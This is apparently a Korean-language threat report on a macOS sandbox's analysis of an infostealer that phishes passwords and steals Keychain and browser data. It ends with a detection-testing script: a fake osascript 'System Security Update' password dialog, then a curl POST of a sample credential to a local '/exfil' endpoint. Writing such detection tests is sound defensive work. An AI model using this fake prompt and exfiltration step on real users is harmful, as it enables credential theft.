macOS 미라지: Apple Silicon을 위한 동적 분석 및 Sigma 탐지

요약

VirusTotal은 Apple Silicon (ARM64) 및 macOS 26에 특화된 새로운 동적 분석 샌드박스인 macOS Mirage를 도입했습니다. 이 플랫폼은 정보 탈취 및 인증 피싱 맬웨어와 같은 진화하는 macOS 위협을 식별하기 위해 고품질의 행동 텔레메트리와 자동 Sigma 탐지를 제공합니다. 또한 Intel에서 ARM64 시스템으로의 전환을 다루며, 시스템 무결성 보호(SIP)와 같은 현대적인 보호 조치에 맞서 작동합니다.

조사

이 보고서는 AppleScript를 사용하여 피싱하고 지속성과 데이터 도난을 위한 다중단계 페이로드를 사용하는 macOS 정보 탈취 샘플 unix51436504를 분석합니다. 연구원들은 처음 속이는 비밀번호 입력 프롬프트에서 LaunchDaemons 기반의 지속성 및 Keychain, Safari, Apple Notes 데이터의 유출까지 맬웨어를 추적했습니다. 샌드박스는 이러한 행동들을 Sigma 규칙을 사용하여 관련 MITRE ATT&CK 기법에 성공적으로 매핑했습니다.

대응책

구체적인 소프트웨어 패치는 명시되지 않았으나, 보고서는 Keychain 데이터베이스, TCC.db 및 LaunchDaemons와 같은 민감한 위치에 대한 무단 액세스를 모니터링하는 것을 강조합니다. 조직은 비정상적인 문맥에서 실행되는 osascript, curl 및 ditto 같은 명령줄 유틸리티의 의심스러운 사용을 감지해야 합니다. 다중 단계 실행 패턴과 /tmp/ 또는 사용자 홈 디렉토리에서의 예상치 못한 파일 수정 사항 모니터링도 중요합니다.

대응

이러한 행동이 감지되면 응답자는 추가 데이터 유출을 방지하기 위해 즉시 영향을 받은 macOS 장치를 격리해야 합니다. /Library/LaunchDaemons 및 사용자 수준 LaunchAgents에 주의를 기울여 지속성 메커니즘을 조사하십시오. Keychain 데이터, 브라우저 인증 정보, SSH 키를 포괄적으로 검토하여 가능한 손상을 식별하고, 노출된 민감한 모든 자격 증명을 재설정하십시오.

시뮬레이션 실행

• 공격 내러티브 및 명령: 공격자는 설득력 있지만 가짜 시스템 대화 상자를 표시하여 사용자 자격 증명을 수집하려고 합니다. 공격자는 osascript 를 사용하여 macOS 대화 상자를 트리거합니다. 탐지 규칙의 특정 로직(특정 오타 ‘passwen’을 찾는)을 시뮬레이트하기 위해 스크립트에서 의도적으로 해당 문자열을 사용합니다. 사용자가 가짜 비밀번호를 “제출”하면 스크립트는 curl 을 사용하여 캡처된 데이터를 원격 리스너로 POST하여 정보 탈취의 유출 단계를 시뮬레이션합니다.

• 회귀 테스트 스크립트:

  #!/bin/bash
  # macOS 정보 탈취 자격 증명 피싱 시뮬레이션
  
  # 1. 가짜 대화 상자 트리거 (indicator1 및 indicator2 일치)
  # 참고: 특정 탐지 규칙에 맞춘 'passwen' 사용
  osascript -e 'set passwen to display dialog "System Security Update: Please enter your macOS password to continue" default answer "" with icon caution'
  
  # 2. curl을 통한 유출 시뮬레이션 (indicator3과 일치)
  # "도난당한" 문자열을 로컬/원격 엔드포인트로 발송하는 시뮬레이션
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] 시뮬레이션 완료. SIEM에서 경고 확인."

• 정리 명령어:

  # 이 시뮬레이션 동안 영구 파일이 생성되지 않았습니다.
  # 데이터 중지에 사용된 임시 파일이 있는 경우 여기에 삭제됩니다.
  rm -f /tmp/stolen_creds.txt